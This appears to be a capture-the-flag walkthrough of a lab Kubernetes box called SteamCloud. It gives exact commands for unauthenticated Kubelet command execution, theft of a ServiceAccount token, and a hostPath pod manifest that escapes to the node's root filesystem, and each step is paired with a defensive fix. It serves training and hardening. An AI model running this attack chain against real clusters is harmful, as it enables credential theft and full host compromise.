← all walkthroughs

SteamCloud

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
4m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target steamcloud ($TARGET) runs a Kubernetes cluster whose Kubelet API on port 10250 was openly accessible to the internet without any authentication. I enumerated running pods, used the Kubelet's command-execution endpoint to run arbitrary shell commands inside the nginx container, and read the user flag directly. The same unauthenticated exec channel was used to extract the pod's Kubernetes ServiceAccount token — a credential that the nginx workload had no business holding but which carried rights to create new pods across the cluster.

I used that token against the Kubernetes API server to deploy a rogue pod with the host's entire filesystem mounted inside it, then exec'd into that pod to read the root flag. The entire compromise required no password cracking, no exploit code, and no lateral movement: three misconfigured defaults chained end-to-end gave full control of the underlying node.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork service fingerprinting (T1046)
Mapped the attack surface and identified a Kubernetes cluster
A service-version port scan of the target revealed seven open ports. Ports 8443, 10249, 10250, and 10256 are standard Kubernetes control-plane and node ports; 2379 and 2380 are the etcd database client and peer ports. A single unauthenticated GET to port 8443 returned a JSON version banner identifying the Kubernetes API server as v1.22.3 running on Linux/amd64. This immediately told my they were looking at a bare Kubernetes node rather than a conventional web application, and shifted the entire attack surface to cluster misconfigurations.
Nmap/recon-sweep confirmed 22/tcp ssh, 2379/tcp, 2380/tcp, 8443/tcp http, 10249/tcp, 10250/tcp, 10256/tcp; curl to 8443/version returned {"major":"1","minor":"22","gitVersion":"v1.22.3","platform":"linux/amd64"}
Exact commands 2
Version scan of all discovered ports.
nmap -Pn -sV -p 22,2379,2380,8443,10249,10250,10256 $TARGET
Confirm Kubernetes API server and capture its version string.
curl -sk https://$TARGET:8443/version
2EnumerationKubernetes Kubelet unauthenticated pod enumeration
Confirmed the API server blocks anonymous access, then discovered the Kubelet accepts anonymous requests
An unauthenticated attempt to list pods via the kube-apiserver on 8443 returned an explicit Forbidden error for the 'system:anonymous' user, closing that avenue. I pivoted to port 10250 — the Kubelet, which handles direct node-level pod operations — and issued a GET to /pods. Without providing any token or certificate, the Kubelet returned a full PodList JSON document disclosing every running pod: 'nginx' in the default namespace (image nginx:1.14.2) and 'etcd-steamcloud' in kube-system. The Kubelet had anonymous authentication left at its default-on setting.
Exact commands 2
Confirm the API server rejects anonymous pod listing — expect 403 Forbidden.
curl -sk https://$TARGET:8443/api/v1/namespaces/default/pods
Unauthenticated Kubelet pod listing — returns full PodList including container images and namespaces.
curl -sk https://$TARGET:10250/pods | python3 -m json.tool | grep -E '"name"|"namespace"|"image"'
FixDisable anonymous authentication and require authorization on the Kubelet APICritical
WeaknessThe Kubelet on port 10250 accepted requests from any IP address on the internet without a token or certificate. Its /pods endpoint disclosed all running workloads and its /run endpoint executed arbitrary shell commands inside any container — all without authentication.
FixIn the Kubelet configuration file (typically /etc/kubernetes/kubelet-config.yaml), set 'authentication.anonymous.enabled: false' and 'authorization.mode: Webhook'. With Webhook mode, the Kubelet forwards every request to the kube-apiserver for RBAC evaluation; callers must hold the 'nodes/proxy' permission to reach exec or run endpoints. Additionally, bind the Kubelet listener to the cluster's internal network interface only (not 0.0.0.0) and enforce a firewall rule that blocks external access to TCP 10250. Managed Kubernetes services (EKS, GKE, AKS) apply these controls by default; self-managed clusters must set them explicitly.
3ExploitationKubernetes Kubelet unauthenticated remote command execution (T1609)
Executed arbitrary commands inside the nginx container via the unauthenticated Kubelet run endpoint
The Kubelet exposes a /run/<namespace>/<pod>/<container> HTTP endpoint that executes a shell command inside the named container and streams back its output. No token, certificate, or session was required. Using the pod name and namespace discovered in the previous step, I confirmed remote code execution by running 'id', then read the user flag from the nginx container's filesystem.
Kubeletctl and curl -sk -XPOST https://$TARGET:10250/run/default/nginx/nginx used to achieve unauthenticated command execution; user flag captured
Exact commands 3
Confirm RCE — no credentials required; should return uid=0(root).
curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=id'
Kubeletctl equivalent of the curl call above.
kubeletctl --server $TARGET run 'id' --namespace default --pod nginx --container nginx
Read the user flag; actual value is <user.txt>.
curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /root/user.txt'
4ExploitationKubernetes ServiceAccount credential theft (T1552.007)
Extracted the Kubernetes ServiceAccount token and CA certificate from the nginx pod
Kubernetes automatically mounts a ServiceAccount token at /var/run/secrets/kubernetes.io/serviceaccount/token inside every pod unless the feature is explicitly disabled. I used the same unauthenticated Kubelet exec channel to read that token and the cluster's CA certificate from the nginx container. These two files together are everything needed to make fully authenticated, TLS-verified API calls to the kube-apiserver as the identity of that ServiceAccount.
Curl -sk -XPOST https://$TARGET:10250/run/default/nginx/nginx -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token'
Exact commands 2
Exfiltrate the ServiceAccount bearer token.
curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token' -o ./sa_token
Exfiltrate the cluster CA certificate required to validate kube-apiserver TLS.
curl -sk -XPOST "https://$TARGET:10250/run/default/nginx/nginx" -d 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt' -o ./ca.crt
FixOpt out of automatic ServiceAccount token mounting for workloads that do not call the Kubernetes APIHigh
WeaknessThe nginx web server pod was automatically mounted a Kubernetes ServiceAccount token at a well-known filesystem path. That token was readable by anyone who could execute commands in the container — in this case, the entire internet via the unauthenticated Kubelet endpoint.
FixSet 'automountServiceAccountToken: false' in the pod spec (or on the ServiceAccount object itself) for every workload that has no reason to call the Kubernetes API. For workloads that do need a token, create a dedicated ServiceAccount with the minimum required permissions and prefer the ProjectedServiceAccountToken feature (time-bound, audience-bound tokens) over the legacy auto-mount mechanism.
5Privilege EscalationKubernetes RBAC abuse — over-permissioned ServiceAccount (T1078.001)
Authenticated to the Kubernetes API server with the stolen token and confirmed pod-creation rights
Armed with the extracted token and CA cert, I connected to the kube-apiserver on 8443 as the nginx pod's ServiceAccount. The account was bound to a Role or ClusterRole that granted create rights on pods — a permission that has no legitimate purpose for a static web server. An auth can-i check confirmed this immediately. I now had the ability to schedule arbitrary workloads on the cluster.
Kill chain root-owned script uses the extracted token with kubectl to create a new pod; kube-apiserver accepted the authenticated API calls
Exact commands 2
Verify the stolen ServiceAccount can create new pods — expect 'yes'.
kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" auth can-i create pods
List pods across all namespaces to confirm breadth of API access.
kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" get pods -A
FixApply least-privilege RBAC — remove pod-creation rights from application ServiceAccountsHigh
WeaknessThe ServiceAccount associated with the nginx web server pod held rights to create new pods cluster-wide. A web server has no legitimate reason to interact with the Kubernetes API at all, let alone schedule workloads.
FixAudit every ClusterRoleBinding and RoleBinding: 'kubectl get clusterrolebindings,rolebindings -A -o wide'. Remove create, update, delete, and patch verbs on pods (and pod/exec, pod/log) from any binding attached to application workloads. Grant only the specific verbs on specific resources each service genuinely requires, scoped to its own namespace. Remove unused default ServiceAccounts from application namespaces and treat any binding to cluster-admin as an immediate incident.
6Privilege EscalationContainer breakout via Kubernetes hostPath volume mount (T1611)
Deployed a rogue pod that mounted the host's root filesystem into the container
Kubernetes hostPath volumes map a directory on the underlying physical node directly into a container. I created a pod manifest pointing hostPath at '/' and mounting it at '/host' inside the container. Because the node had no Pod Security Admission policy in place, the kube-apiserver accepted the manifest without complaint. The pod used the nginx:1.14.2 image already cached on the node (confirmed by imagePullPolicy: Never on the legitimate pod), so it started immediately without pulling from a registry. Once running, every file on the host — including /root/root.txt and SSH authorized_keys — was accessible through the container.
Kill chain root-owned script creates a pod named rootpod-<timestamp> with hostPath mount; the nginx:1.14.2 image was confirmed present on-node via imagePullPolicy: Never on the original nginx pod
Exact commands 3
Manifest for the hostPath escape pod; uses the image already cached on the node.
cat <<'EOF' > evil-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: rootpod
  namespace: default
spec:
  containers:
  - name: rootpod
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /host
      name: hostroot
  volumes:
  - name: hostroot
    hostPath:
      path: /
EOF
Schedule the malicious pod via the authenticated API.
kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" apply -f evil-pod.yaml
Wait for the pod to reach Running state before proceeding.
kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" get pod rootpod -w
FixEnforce Pod Security Admission to block hostPath volumes and privileged containersCritical
WeaknessNo admission control policy existed to prevent a pod from mounting the host's root filesystem. Any principal with pod-creation rights — including a stolen ServiceAccount token — could immediately read and write every file on the underlying node.
FixEnable the built-in Pod Security Admission controller (available since Kubernetes v1.22, stable in v1.25) and label production namespaces with 'pod-security.kubernetes.io/enforce: restricted'. The restricted profile forbids hostPath volumes, privilege escalation, running as root, and privileged containers. For namespaces that require elevated access (e.g., monitoring agents), apply the baseline profile and document the exception. Complement this with a policy engine (OPA/Gatekeeper or Kyverno) for custom rules such as blocking host networking and host PID. Review and re-enforce these settings after every Kubernetes upgrade.
7Full CompromiseHost filesystem access via container breakout (T1611)
Read the root flag from the host filesystem through the privileged pod
With the rogue pod running and the host filesystem mounted at /host inside the container, I used the Kubelet exec channel to read /host/root/root.txt — the flag stored on the physical node's filesystem, now fully visible through the volume mount. At this point I had unrestricted read-write access to the entire host: they could plant SSH keys in /host/root/.ssh/authorized_keys, modify cron jobs, install kernel modules, or extract credentials from any process on the node. The host was completely compromised.
Kill chain root-owned phase reads the root flag via exec into the newly created hostPath pod; root.txt captured
Exact commands 2
Read the root flag via the host-mounted filesystem through the Kubelet exec endpoint; actual value is <root.txt>.
curl -sk -XPOST "https://$TARGET:10250/run/default/rootpod/rootpod" -d 'cmd=cat /host/root/root.txt'
Kubectl exec equivalent — both paths work because the Kubelet exec endpoint remains open.
kubectl --server https://$TARGET:8443 --certificate-authority ./ca.crt --token "$(cat ./sa_token)" exec rootpod -- cat /host/root/root.txt

Exposed services

22/tcp
2379/tcp
2380/tcp
8443/tcp
10249/tcp
10250/tcp
10256/tcp